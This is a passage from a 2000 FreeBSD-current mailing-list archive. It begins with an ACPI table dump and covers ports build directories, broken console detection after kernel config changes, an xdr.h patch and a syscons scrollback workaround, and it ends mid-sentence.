LCDS Fieldelement:flag 0x0 offset 223432 len 4 {SRAM} EPWS Fieldelement:flag 0x0 offset 223431 len 1 {SRAM} EWLD Fieldelement:flag 0x0 offset 223430 len 1 {SRAM} SPSC Fieldelement:flag 0x0 offset 223429 len 1 {SRAM} PPSC Fieldelement:flag 0x0 offset 223428 len 1 {SRAM} VWE1 Fieldelement:flag 0x0 offset 223427 len 1 {SRAM} VWE0 Fieldelement:flag 0x0 offset 223426 len 1 {SRAM} VGAF Fieldelement:flag 0x0 offset 223425 len 1 {SRAM} DSPW Fieldelement:flag 0x0 offset 223424 len 1 {SRAM} BDID Fieldelement:flag 0x0 offset 223392 len 32 {SRAM} DSRN Fieldelement:flag 0x0 offset 223328 len 32 {SRAM} DLID Fieldelement:flag 0x0 offset 223296 len 32 {SRAM} HKCD Fieldelement:flag 0x0 offset 223264 len 8 {SRAM} LANA Fieldelement:flag 0x0 offset 221272 len 1 {SRAM} CTTA Fieldelement:flag 0x0 offset 221270 len 1 {SRAM} CTCA Fieldelement:flag 0x0 offset 221269 len 1 {SRAM} CTLA Fieldelement:flag 0x0 offset 221268 len 1 {SRAM} NXTA Fieldelement:flag 0x0 offset 221266 len 1 {SRAM} NXCA Fieldelement:flag 0x0 offset 221265 len 1 {SRAM} NXLA Fieldelement:flag 0x0 offset 221264 len 1 {SRAM} BT2F Fieldelement:flag 0x0 offset 221263 len 1 {SRAM} BT1F Fieldelement:flag 0x0 offset 221262 len 1 {SRAM} DCKF Fieldelement:flag 0x0 offset 221261 len 1 {SRAM} DCKI Fieldelement:flag 0x0 offset 221260 len 1 {SRAM} DOS2 Fieldelement:flag 0x0 offset 221259 len 1 {SRAM} DCST Fieldelement:flag 0x0 offset 221258 len 1 {SRAM} VALF Fieldelement:flag 0x0 offset 221257 len 1 {SRAM} LIDS Fieldelement:flag 0x0 offset 221256 len 1 {SRAM} SBL3 Fieldelement:flag 0x0 offset 221251 len 1 {SRAM} SBL2 Fieldelement:flag 0x0 offset 221250 len 1 {SRAM} SBL1 Fieldelement:flag 0x0 offset 221249 len 1 {SRAM} SBL0 Fieldelement:flag 0x0 offset 221248 len 1 {SRAM} WED4 Fieldelement:flag 0x0 offset 221244 len 1 {SRAM} WED3 Fieldelement:flag 0x0 offset 221243 len 1 {SRAM} WED2 Fieldelement:flag 0x0 offset 221242 len 1 {SRAM} WED1 Fieldelement:flag 0x0 offset 221241 len 1 {SRAM} WED0 Fieldelement:flag 0x0 offset 221240 len 1 {SRAM} GP76 Fieldelement:flag 0x0 offset 221238 len 1 {SRAM} GP75 Fieldelement:flag 0x0 offset 221237 len 1 {SRAM} GP74 Fieldelement:flag 0x0 offset 221236 len 1 {SRAM} GP73 Fieldelement:flag 0x0 offset 221235 len 1 {SRAM} GP72 Fieldelement:flag 0x0 offset 221234 len 1 {SRAM} GP71 Fieldelement:flag 0x0 offset 221233 len 1 {SRAM} GP70 Fieldelement:flag 0x0 offset 221232 len 1 {SRAM} GP66 Fieldelement:flag 0x0 offset 221230 len 1 {SRAM} GP65 Fieldelement:flag 0x0 offset 221229 len 1 {SRAM} GP64 Fieldelement:flag 0x0 offset 221228 len 1 {SRAM} GP63 Fieldelement:flag 0x0 offset 221227 len 1 {SRAM} GP62 Fieldelement:flag 0x0 offset 221226 len 1 {SRAM} GP61 Fieldelement:flag 0x0 offset 221225 len 1 {SRAM} GP60 Fieldelement:flag 0x0 offset 221224 len 1 {SRAM} GP54 Fieldelement:flag 0x0 offset 221220 len 1 {SRAM} GP53 Fieldelement:flag 0x0 offset 221219 len 1 {SRAM} GP52 Fieldelement:flag 0x0 offset 221218 len 1 {SRAM} GP51 Fieldelement:flag 0x0 offset 221217 len 1 {SRAM} GP50 Fieldelement:flag 0x0 offset 221216 len 1 {SRAM} TP31 Fieldelement:flag 0x0 offset 221106 len 1 {SRAM} TP21 Fieldelement:flag 0x0 offset 221105 len 1 {SRAM} TP11 Fieldelement:flag 0x0 offset 221104 len 1 {SRAM} TF30 Fieldelement:flag 0x0 offset 221102 len 1 {SRAM} TF20 Fieldelement:flag 0x0 offset 221101 len 1 {SRAM} TF10 Fieldelement:flag 0x0 offset 221100 len 1 {SRAM} TF31 Fieldelement:flag 0x0 offset 221098 len 1 {SRAM} TF21 Fieldelement:flag 0x0 offset 221097 len 1 {SRAM} TF11 Fieldelement:flag 0x0 offset 221096 len 1 {SRAM} FANL Fieldelement:flag 0x0 offset 221089 len 7 {SRAM} FANH Fieldelement:flag 0x0 offset 221088 len 1 {SRAM} TMPF Fieldelement:flag 0x0 offset 219680 len 16 {SRAM} AC33 Fieldelement:flag 0x0 offset 219536 len 16 {SRAM} AC23 Fieldelement:flag 0x0 offset 219520 len 16 {SRAM} AST3 Fieldelement:flag 0x0 offset 219504 len 16 {SRAM} TMP3 Fieldelement:flag 0x0 offset 219488 len 16 {SRAM} CRT3 Fieldelement:flag 0x0 offset 219472 len 16 {SRAM} PSV3 Fieldelement:flag 0x0 offset 219456 len 16 {SRAM} AC13 Fieldelement:flag 0x0 offset 219440 len 16 {SRAM} AC03 Fieldelement:flag 0x0 offset 219424 len 16 {SRAM} AC32 Fieldelement:flag 0x0 offset 219408 len 16 {SRAM} AC22 Fieldelement:flag 0x0 offset 219392 len 16 {SRAM} AST2 Fieldelement:flag 0x0 offset 219376 len 16 {SRAM} TMP2 Fieldelement:flag 0x0 offset 219360 len 16 {SRAM} CRT2 Fieldelement:flag 0x0 offset 219344 len 16 {SRAM} PSV2 Fieldelement:flag 0x0 offset 219328 len 16 {SRAM} AC12 Fieldelement:flag 0x0 offset 219312 len 16 {SRAM} AC02 Fieldelement:flag 0x0 offset 219296 len 16 {SRAM} AC31 Fieldelement:flag 0x0 offset 219280 len 16 {SRAM} AC21 Fieldelement:flag 0x0 offset 219264 len 16 {SRAM} AST1 Fieldelement:flag 0x0 offset 219248 len 16 {SRAM} TMP1 Fieldelement:flag 0x0 offset 219232 len 16 {SRAM} CRT1 Fieldelement:flag 0x0 offset 219216 len 16 {SRAM} PSV1 Fieldelement:flag 0x0 offset 219200 len 16 {SRAM} AC11 Fieldelement:flag 0x0 offset 219184 len 16 {SRAM} AC01 Fieldelement:flag 0x0 offset 219168 len 16 {SRAM} BOI2 Fieldelement:flag 0x0 offset 217824 len 32 {SRAM} BG22 Fieldelement:flag 0x0 offset 217792 len 32 {SRAM} BG12 Fieldelement:flag 0x0 offset 217760 len 32 {SRAM} BCL2 Fieldelement:flag 0x0 offset 217728 len 32 {SRAM} BCW2 Fieldelement:flag 0x0 offset 217696 len 32 {SRAM} BPV2 Fieldelement:flag 0x0 offset 217632 len 32 {SRAM} BRC2 Fieldelement:flag 0x0 offset 217600 len 32 {SRAM} BPR2 Fieldelement:flag 0x0 offset 217568 len 32 {SRAM} BST2 Fieldelement:flag 0x0 offset 217536 len 32 {SRAM} BDV2 Fieldelement:flag 0x0 offset 217504 len 32 {SRAM} BTC2 Fieldelement:flag 0x0 offset 217472 len 32 {SRAM} BLF2 Fieldelement:flag 0x0 offset 217440 len 32 {SRAM} BDC2 Fieldelement:flag 0x0 offset 217408 len 32 {SRAM} BPU2 Fieldelement:flag 0x0 offset 217376 len 32 {SRAM} BTP2 Fieldelement:flag 0x0 offset 217304 len 72 {SRAM} BSN2 Fieldelement:flag 0x0 offset 217216 len 88 {SRAM} BMN2 Fieldelement:flag 0x0 offset 217112 len 104 {SRAM} BOI1 Fieldelement:flag 0x0 offset 215776 len 8 {SRAM} BG21 Fieldelement:flag 0x0 offset 215744 len 32 {SRAM} BG11 Fieldelement:flag 0x0 offset 215712 len 32 {SRAM} BCL1 Fieldelement:flag 0x0 offset 215680 len 32 {SRAM} BCW1 Fieldelement:flag 0x0 offset 215648 len 32 {SRAM} BPV1 Fieldelement:flag 0x0 offset 215584 len 32 {SRAM} BRC1 Fieldelement:flag 0x0 offset 215552 len 32 {SRAM} BPR1 Fieldelement:flag 0x0 offset 215520 len 32 {SRAM} BST1 Fieldelement:flag 0x0 offset 215488 len 32 {SRAM} BDV1 Fieldelement:flag 0x0 offset 215456 len 32 {SRAM} BTC1 Fieldelement:flag 0x0 offset 215424 len 32 {SRAM} BLF1 Fieldelement:flag 0x0 offset 215392 len 32 {SRAM} BDC1 Fieldelement:flag 0x0 offset 215360 len 32 {SRAM} BPU1 Fieldelement:flag 0x0 offset 215328 len 32 {SRAM} BTP1 Fieldelement:flag 0x0 offset 215232 len 72 {SRAM} BSN1 Fieldelement:flag 0x0 offset 215144 len 88 {SRAM} BMN1 Fieldelement:flag 0x0 offset 215040 len 104 {SRAM} BES2 Fieldelement:flag 0x0 offset 215034 len 1 {SRAM} BES1 Fieldelement:flag 0x0 offset 215033 len 1 {SRAM} ACST Fieldelement:flag 0x0 offset 215032 len 1 {SRAM} OEBP Fieldelement:flag 0x0 offset 213440 len 32 {SRAM} OEDI Fieldelement:flag 0x0 offset 213408 len 32 {SRAM} OESI Fieldelement:flag 0x0 offset 213376 len 32 {SRAM} OEDX Fieldelement:flag 0x0 offset 213344 len 32 {SRAM} OECX Fieldelement:flag 0x0 offset 213312 len 32 {SRAM} OEBX Fieldelement:flag 0x0 offset 213280 len 32 {SRAM} OEAX Fieldelement:flag 0x0 offset 213248 len 32 {SRAM} IEBP Fieldelement:flag 0x0 offset 213184 len 32 {SRAM} IEDI Fieldelement:flag 0x0 offset 213152 len 32 {SRAM} IESI Fieldelement:flag 0x0 offset 213120 len 32 {SRAM} IEDX Fieldelement:flag 0x0 offset 213088 len 32 {SRAM} IECX Fieldelement:flag 0x0 offset 213056 len 32 {SRAM} IEBX Fieldelement:flag 0x0 offset 213024 len 32 {SRAM} IEAX Fieldelement:flag 0x0 offset 212992 len 32 {SRAM} SRAM OprationRegion:Busspace0, Offset 0x100b0000 Length 65536 CAPB Fieldelement:flag 0x0 offset 96 len 16 {SRM} RDSN Fieldelement:flag 0x0 offset 64 len 32 {SRM} RDID Fieldelement:flag 0x0 offset 32 len 32 {SRM} SRM_ OprationRegion:Busspace0, Offset 0x100b6800 Length 16 PAR6 Fieldelement:flag 0x0 offset 80 len 16 {TRAP} PAR5 Fieldelement:flag 0x0 offset 64 len 16 {TRAP} PAR4 Fieldelement:flag 0x0 offset 48 len 16 {TRAP} PAR3 Fieldelement:flag 0x0 offset 32 len 16 {TRAP} PAR2 Fieldelement:flag 0x0 offset 16 len 16 {TRAP} PAR1 Fieldelement:flag 0x0 offset 0 len 16 {TRAP} TRAP OprationRegion:Busspace0, Offset 0x100b6800 Length 16 _CRS Method: Arg 0 From 0xc5774316 To 0xc577431c _STA Num:0xf _HID Num:0x10cd041 LNKD Device _SRS Method: Arg 1 From 0xc57742e4 To 0xc57742f6 _DIS Method: Arg 0 From 0xc57742d7 To 0xc57742dd _CRS Method: Arg 0 From 0xc57742ca To 0xc57742d0 _PRS Method: Arg 0 From 0xc57742bd To 0xc57742c3 _STA Method: Arg 0 From 0xc57742b0 To 0xc57742b6 _UID Num:0x4 _HID Num:0xf0cd041 LNKC Device _SRS Method: Arg 1 From 0xc577427e To 0xc5774290 _DIS Method: Arg 0 From 0xc5774271 To 0xc5774277 _CRS Method: Arg 0 From 0xc5774264 To 0xc577426a _PRS Method: Arg 0 From 0xc5774257 To 0xc577425d _STA Method: Arg 0 From 0xc577424a To 0xc5774250 _UID Num:0x3 _HID Num:0xf0cd041 LNKB Device _SRS Method: Arg 1 From 0xc5774218 To 0xc577422a _DIS Method: Arg 0 From 0xc577420b To 0xc5774211 _CRS Method: Arg 0 From 0xc57741fe To 0xc5774204 _PRS Method: Arg 0 From 0xc57741f1 To 0xc57741f7 _STA Method: Arg 0 From 0xc57741e4 To 0xc57741ea _UID Num:0x2 _HID Num:0xf0cd041 LNKA Device _SRS Method: Arg 1 From 0xc57741b2 To 0xc57741c4 _DIS Method: Arg 0 From 0xc57741a5 To 0xc57741ab _CRS Method: Arg 0 From 0xc5774198 To 0xc577419e _PRS Method: Arg 0 From 0xc577418b To 0xc5774191 _STA Method: Arg 0 From 0xc577417e To 0xc5774184 _UID Num:0x1 _HID Num:0xf0cd041 _PR_ CPU0 Processor:No 1,Port 0xfe10 length 6 _S5_ Package:elements 4 Num:0x7 Num:0x0 Num:0x0 Num:0x0 _S4_ Package:elements 4 Num:0x0 Num:0x0 Num:0x0 Num:0x0 _S3_ Package:elements 4 Num:0x7 Num:0x0 Num:0x0 Num:0x0 _S1_ Package:elements 4 Num:0x7 Num:0x0 Num:0x0 Num:0x0 _S0_ Package:elements 4 Num:0x5 Num:0x0 Num:0x0 Num:0x0 memman: reporting statistics fixed size memory blocks alloc(): 1650 times system malloc(): 0 times free(): 1650 times system free(): 0 times required memory: 0 bytes allocated memory: 0 bytes reclaimed memory: 0 bytes flexible size memory blocks alloc(): 85 times system malloc(): 85 times free(): 85 times system free(): 85 times required memory: 1682 bytes allocated memory: 1682 bytes reclaimed memory: 1682 bytes peak memory usage: 867 bytes min memory size: 4 bytes max memory size: 178 bytes avg memory size: 19 bytes memory size histogram (11 entries): size count 4 16 6 2 8 16 10 2 14 6 16 31 22 4 28 2 53 2 136 2 178 2 acpi0: FACS Found Size=64 bytes acpi0: acpi_enable_disable(1) = (81) acpi0: at 0xb2 irq 9 acpi0: acpi_io_pm1_enable(0) = (100, 0) acpi0: acpi_io_pm1_enable(1) = (100, 100) acpi0: acpi_io_pm1_status(0) = (8000, 0) acpi0: acpi_io_pm1_enable(0) = (100, 0) acpi0: acpi_io_gpe0_status(0) = (0) acpi0: acpi_io_gpe0_enable(0) = (0) acpi0: acpi_io_gpe1_status(0) = (0) acpi0: acpi_io_gpe1_enable(0) = (4000) acpi0: acpi_io_pm1_control(0) = (1401, 0) acpi0: acpi_io_pm2_control(0) = (0) acpi0: acpi_io_pm_timer(0) = (94465c) pcib0: on motherboard To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 9: 1:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from freemail.aecinfo.com (host-45.toronto.bricsnet.com [209.146.217.45]) by hub.freebsd.org (Postfix) with ESMTP id 4407E37B61A; Fri, 16 Jun 2000 09:01:02 -0700 (PDT) (envelope-from mitayai@bricsnet.com) Received: from mitayai (host-102.toronto.bricsnet.com [209.146.217.102]) by freemail.aecinfo.com (8.8.8/8.8.8) with SMTP id MAA03277; Fri, 16 Jun 2000 12:00:59 -0400 (EDT) (envelope-from mitayai@bricsnet.com) From: "Will Mitayai Keeso Rowe" To: , "FreeBSD-Stable" , Subject: ports /work/ directory. Date: Fri, 16 Jun 2000 11:59:18 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Importance: Normal Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is there any plans to move the ports' working directory out of the /usr/ports/ tree? Let me explain why i ask. I have 10 FreeBSD servers that are a mix of FreeBSD 2.2.8-STABLE, 3-STABLE, and 4-STABLE. In the interests of saving disk space and bandwith, i have one central file archive of ports, and the three stable branches, and i mount those directories on all servers as required via amd. When i'm working in src at the same time as someone else, i have no problems, since all work is not done in that tree. However, if i were to be working in ports att the same time as someone else, some pretty nasty things happen. If this is not being worked on, but people think that it might be a good idea to move the ports' working directories somewhere else, i'd be willing to take a look and see what i could come up with based on suggestions from whomever wanted to put their two cents in. Regards, Mit mitayai@bricsnet.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 9:56:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from lindt.urgle.com (lindt.urgle.com [195.173.172.169]) by hub.freebsd.org (Postfix) with ESMTP id CC1B737BEC7; Fri, 16 Jun 2000 09:56:32 -0700 (PDT) (envelope-from mike@urgle.com) Received: from mike by lindt.urgle.com with local (Exim 3.03 #1) id 132zPn-000B2z-00; Fri, 16 Jun 2000 17:56:19 +0100 Date: Fri, 16 Jun 2000 17:56:19 +0100 From: Mike Bristow To: Will Mitayai Keeso Rowe Cc: freebsd-current@freebsd.org, FreeBSD-Stable , freebsd-ports@freebsd.org Subject: Re: ports /work/ directory. Message-ID: <20000616175619.A42457@lindt.urgle.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from mitayai@bricsnet.com on Fri, Jun 16, 2000 at 11:59:18AM -0400 X-Rated: munitions, We at the FBI do not have a sense of humour that we're aware of Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Jun 16, 2000 at 11:59:18AM -0400, Will Mitayai Keeso Rowe wrote: > Is there any plans to move the ports' working directory out of the > /usr/ports/ tree? Look at /usr/ports/Mk/bsd.port.mk; in particular WRKDIRPREFIX. Setting it in /etc/make.conf seems sensible, perhaps WRKDIRPREFIX=/usr/ports/`hostname` or WRKDIRPREFIX=/disks/big-fast-disk/ports-build as approprate -- Mike Bristow, seebitwopie To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 10: 5:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from zippy.osd.bsdi.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id CAA8137BF70; Fri, 16 Jun 2000 10:05:24 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id KAA00343; Fri, 16 Jun 2000 10:05:50 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) To: current@freebsd.org Cc: peter@freebsd.org Subject: GENERIC from today does not detect system console on my box Date: Fri, 16 Jun 2000 10:05:50 -0700 Message-ID: <340.961175150@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I tried booting a kernel this morning, just to see Peter's new "lean-n-mean" kernel config format in action, and I turned my workstation into a headless server in the process. :-) Most notably, these former entries were now missing from my dmesg output when I logged in remotely and poked around: atkbdc0: at port 0x60,0x64 on isa0 atkbd0: irq 1 on atkbdc0 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: on isa0 JFYI... - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 10: 7:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from quack.kfu.com (quack.kfu.com [170.1.70.2]) by hub.freebsd.org (Postfix) with ESMTP id 0B27137BF5F for ; Fri, 16 Jun 2000 10:07:50 -0700 (PDT) (envelope-from nsayer@medusa.kfu.com) Received: from medusa.kfu.com (medusa.kfu.com [170.1.70.5]) by quack.kfu.com (8.9.2/8.9.3) with ESMTP id KAA59512 for ; Fri, 16 Jun 2000 10:07:47 -0700 (PDT) (envelope-from nsayer@medusa.kfu.com) Received: (from nsayer@localhost) by medusa.kfu.com (8.9.3/8.8.8) id KAA44803 for freebsd-current@freebsd.org; Fri, 16 Jun 2000 10:07:47 -0700 (PDT) (envelope-from nsayer) Date: Fri, 16 Jun 2000 10:07:47 -0700 (PDT) From: Nick Sayer Message-Id: <200006161707.KAA44803@medusa.kfu.com> To: freebsd-current@freebsd.org Subject: CFR: xdr.h fix for xdrproc_t Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I would like to apply this patch: Index: xdr.h =================================================================== RCS file: /home/ncvs/src/include/rpc/xdr.h,v retrieving revision 1.14 diff -u -r1.14 xdr.h --- xdr.h 1999/12/29 05:00:44 1.14 +++ xdr.h 2000/06/16 17:05:09 @@ -128,14 +128,14 @@ * The opaque pointer generally points to a structure of the data type * to be decoded. If this pointer is 0, then the type routines should * allocate dynamic storage of the appropriate size and return it. + * + * Sometimes there is a third argument, sometimes not. So for correct + * prototyping, ... is required. */ #ifdef _KERNEL typedef bool_t (*xdrproc_t) __P((XDR *, void *, u_int)); #else -/* - * XXX can't actually prototype it, because some take two args!!! - */ -typedef bool_t (*xdrproc_t) __P((/* XDR *, void *, u_int */)); +typedef bool_t (*xdrproc_t) __P((XDR *, ...)); #endif /* Does anyone forsee any difficulties? Not doing this prevents a product I work on from compiling. gcc complains about the number of arguments because in C++ () prototypes a function that takes NO arguments. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 10:11:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from po4.wam.umd.edu (po4.wam.umd.edu [128.8.10.166]) by hub.freebsd.org (Postfix) with ESMTP id BC8C937BF70; Fri, 16 Jun 2000 10:11:14 -0700 (PDT) (envelope-from culverk@wam.umd.edu) Received: from rac1.wam.umd.edu (root@rac1.wam.umd.edu [128.8.10.141]) by po4.wam.umd.edu (8.9.3/8.9.3) with ESMTP id NAA15310; Fri, 16 Jun 2000 13:11:10 -0400 (EDT) Received: from rac1.wam.umd.edu (sendmail@localhost [127.0.0.1]) by rac1.wam.umd.edu (8.9.3/8.9.3) with SMTP id NAA06968; Fri, 16 Jun 2000 13:11:08 -0400 (EDT) Received: from localhost (culverk@localhost) by rac1.wam.umd.edu (8.9.3/8.9.3) with ESMTP id NAA06961; Fri, 16 Jun 2000 13:11:07 -0400 (EDT) X-Authentication-Warning: rac1.wam.umd.edu: culverk owned process doing -bs Date: Fri, 16 Jun 2000 13:11:07 -0400 (EDT) From: Kenneth Wayne Culver To: "Jordan K. Hubbard" Cc: current@FreeBSD.ORG, peter@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box In-Reply-To: <340.961175150@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I had a wierder problem yesterday... I followed the new changes to the kernel config file, and included everything that belonged there, and yet for some reason, my kernel paniced while probing vga0 with an error number 6. I had to use a fixit floppy to get back into the system and compile a generic kernel, and from there make a new config file. The wierd part is I the panicing config and the non-panicing config both looked the same... (diff showed only differences in whitespace and comments as far as I could tell. Wierd... ================================================================= | Kenneth Culver | FreeBSD: The best NT upgrade | | Unix Systems Administrator | ICQ #: 24767726 | | and student at The | AIM: muythaibxr | | The University of Maryland, | Website: (Under Construction) | | College Park. | http://www.wam.umd.edu/~culverk/| ================================================================= On Fri, 16 Jun 2000, Jordan K. Hubbard wrote: > I tried booting a kernel this morning, just to see Peter's new > "lean-n-mean" kernel config format in action, and I turned my > workstation into a headless server in the process. :-) > > Most notably, these former entries were now missing from my dmesg > output when I logged in remotely and poked around: > > atkbdc0: at port 0x60,0x64 on isa0 > atkbd0: irq 1 on atkbdc0 > psm0: irq 12 on atkbdc0 > psm0: model Generic PS/2 mouse, device ID 0 > vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 > sc0: on isa0 > > JFYI... > > - Jordan > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 11:48:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail9.bigmailbox.com (mail9.bigmailbox.com [209.132.220.40]) by hub.freebsd.org (Postfix) with ESMTP id 9768337C027 for ; Fri, 16 Jun 2000 11:48:30 -0700 (PDT) (envelope-from neckpain@nettaxi.com) Received: œby mail9.bigmailbox.com (8.8.7/8.8.7) id KAA09150; Fri, 16 Jun 2000 10:49:47 -0700 Date: Fri, 16 Jun 2000 10:49:47 -0700 Message-Id: <200006161749.KAA09150@mail9.bigmailbox.com> Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: binary X-Mailer: MIME-tools 4.104 (Entity 4.116) Mime-Version: 1.0 X-Originating-Ip: [203.141.104.89] From: "neckpain@nettaxi.com" To: current@FreeBSD.ORG Cc: alex@bigendian.de, van.woerkom@netcologne.de, Alexander@Leidinger.net Subject: Re: syscons scrolling broken Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <20000615163813.A20624@cichlids.cichlids.com> alex@big.endian.de writes: >> Also sprach Marc van Woerkom (van.woerkom@netcologne.de): >> >> > > > Anyone else? >> > > Yes, but it only applies to ttyv0. >> > Same behaviour here. >> >> Jup, here too. >> Unfortunately, that's the only one where I want it :) Uncommenting out the following part gives me back the ttyv0 back scrolling and vidcontrol 80x30, but maybe leaking memory. ------------------------------------------------------------ Why pay for Internet Service when you can get it for FREE? http://www.nettaxi.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 12:24:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail1.bigmailbox.com (mail1.bigmailbox.com [209.132.220.32]) by hub.freebsd.org (Postfix) with ESMTP id 892C137B545 for ; Fri, 16 Jun 2000 12:24:43 -0700 (PDT) (envelope-from neckpain@nettaxi.com) Received: œby mail1.bigmailbox.com (8.8.7/8.8.7) id MAA27267; Fri, 16 Jun 2000 12:28:17 -0700 Date: Fri, 16 Jun 2000 12:28:17 -0700 Message-Id: <200006161928.MAA27267@mail1.bigmailbox.com> Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: binary X-Mailer: MIME-tools 4.104 (Entity 4.116) Mime-Version: 1.0 X-Originating-Ip: [203.141.104.89] From: "neckpain@nettaxi.com" To: current@FreeBSD.ORG Subject: Re: syscons scrolling broken Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>Uncommenting out the following part gives me back the ttyv0 back scrolling and >>vidcontrol 80x30, but maybe leaking memory. >Sorry, actually it was commenting out, and forgot attaching the diff. > > >--- scvtb.c.orig Sat Jun 17 03:39:00 2000 >+++ scvtb.c Sat Jun 17 03:39:00 2000 >@@ -93,8 +93,10 @@ > switch (vtb->vtb_type) { > case VTB_MEMORY: > case VTB_RINGBUFFER: >+#if 0 > if (p != NULL) > free((void *)p, M_DEVBUF); >+#endif > break; > default: > break; ------------------------------------------------------------ Why pay for Internet Service when you can get it for FREE? http://www.nettaxi.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 13:35:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from clk.cirx.org (206.c137.ethome.net.tw [202.178.137.206]) by hub.freebsd.org (Postfix) with ESMTP id ED39D37B680 for ; Fri, 16 Jun 2000 13:35:33 -0700 (PDT) (envelope-from clkao@CirX.ORG) Received: (from clkao@localhost) by clk.cirx.org (8.11.0.Beta1/8.11.0.Beta1/Debian 8.11.0-1) id e5GKZ0d09261; Sat, 17 Jun 2000 04:35:00 +0800 Date: Sat, 17 Jun 2000 04:34:59 +0800 From: Chia-liang Kao To: Peter Wemm Cc: current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... Message-ID: <20000617043459.A9221@genius.cirx.org> References: <20000614082028.D6E781CD7@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000614082028.D6E781CD7@overcee.netplex.com.au>; from peter@netplex.com.au on Wed, Jun 14, 2000 at 01:20:28AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Is there anyway to put the device.hint stuff into kernel nevertheless? My diskless box fetches the kernel would know nothing about things reside in device.hint. Cheers, CLK To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 14:11:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id B82AD37BBDE; Fri, 16 Jun 2000 14:11:43 -0700 (PDT) (envelope-from van.woerkom@netcologne.de) Received: from oranje.my.domain (dial-195-14-254-1.netcologne.de [195.14.254.1]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id XAA25314; Fri, 16 Jun 2000 23:11:40 +0200 (MET DST) Received: (from marc@localhost) by oranje.my.domain (8.9.3/8.9.3) id XAA02207; Fri, 16 Jun 2000 23:10:51 +0200 (CEST) (envelope-from van.woerkom@netcologne.de) Date: Fri, 16 Jun 2000 23:10:51 +0200 (CEST) Message-Id: <200006162110.XAA02207@oranje.my.domain> X-Authentication-Warning: oranje.my.domain: marc set sender to van.woerkom@netcologne.de using -f From: Marc van Woerkom To: jkh@zippy.osd.bsdi.com Cc: current@FreeBSD.ORG, peter@FreeBSD.ORG In-reply-to: <340.961175150@localhost> (jkh@zippy.osd.bsdi.com) Subject: Re: GENERIC from today does not detect system console on my box Reply-To: van.woerkom@netcologne.de References: <340.961175150@localhost> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Most notably, these former entries were now missing from my dmesg > output when I logged in remotely and poked around: > > atkbdc0: at port 0x60,0x64 on isa0 > atkbd0: irq 1 on atkbdc0 > psm0: irq 12 on atkbdc0 > psm0: model Generic PS/2 mouse, device ID 0 > vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 > sc0: on isa0 Did you ran the Perl skript to create the 